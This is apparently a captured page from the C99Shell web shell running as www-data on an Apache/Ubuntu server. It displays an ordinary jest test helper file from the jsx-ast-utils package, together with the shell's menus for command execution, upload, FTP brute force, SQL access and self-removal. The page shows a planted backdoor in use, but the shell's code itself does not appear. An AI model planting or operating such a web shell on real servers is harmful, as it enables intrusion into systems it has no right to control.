!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/node_modules_old/jsx-ast-utils/__tests__/   drwxrwxrwx
Free 13.25 GB of 57.97 GB (22.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     helper.js (2.34 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* eslint-env jest */
import getProp from '../src/getProp';

const nodeVersion = parseInt(process.version.match(/^v(\d+)\./)[1], 10);

export const fallbackToBabylon = nodeVersion < 6;

let parserName;
const babelParser = fallbackToBabylon ? require('babylon') : require('@babel/parser');
const flowParser = require('flow-parser');

const defaultPlugins = [
  'jsx',
  'functionBind',
  'estree',
  'objectRestSpread',
  'optionalChaining',
  // 'nullishCoalescing', // TODO: update to babel 7
];
let plugins = [...defaultPlugins];

export function setParserName(name) {
  parserName = name;
}

export function changePlugins(pluginOrFn) {
  if (Array.isArray(pluginOrFn)) {
    plugins = pluginOrFn;
  } else if (typeof pluginOrFn === 'function') {
    plugins = pluginOrFn(plugins);
  } else {
    throw new Error('changePlugins argument should be either an array or a function');
  }
}

beforeEach(() => {
  plugins = [...defaultPlugins];
});

function parse(code) {
  if (parserName === undefined) {
    throw new Error('No parser specified');
  }
  if (parserName === 'babel') {
    try {
      return babelParser.parse(code, { plugins, sourceFilename: 'test.js' });
    } catch (_) {
      // eslint-disable-next-line no-console
      console.warn(`Failed to parse with ${fallbackToBabylon ? 'babylon' : 'Babel'} parser.`);
    }
  }
  if (parserName === 'flow') {
    try {
      return flowParser.parse(code, { plugins });
    } catch (_) {
      // eslint-disable-next-line no-console
      console.warn('Failed to parse with the Flow parser');
    }
  }
  throw new Error(`The parser ${parserName} is not yet supported for testing.`);
}

export function getOpeningElement(code) {
  const parsedCode = parse(code);
  let body;
  if (parsedCode.program) {
    // eslint-disable-next-line prefer-destructuring
    body = parsedCode.program.body;
  } else {
    // eslint-disable-next-line prefer-destructuring
    body = parsedCode.body;
  }
  if (Array.isArray(body) && body[0] != null) {
    const [{ expression }] = body;
    return expression.type === 'JSXFragment' ? expression.openingFragment : expression.openingElement;
  }

  return null;
}

export function extractProp(code, prop = 'foo') {
  const node = getOpeningElement(code);
  const { attributes: props } = node;
  return getProp(props, prop);
}

export const describeIfNotBabylon = fallbackToBabylon ? describe.skip : describe;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0563 ]--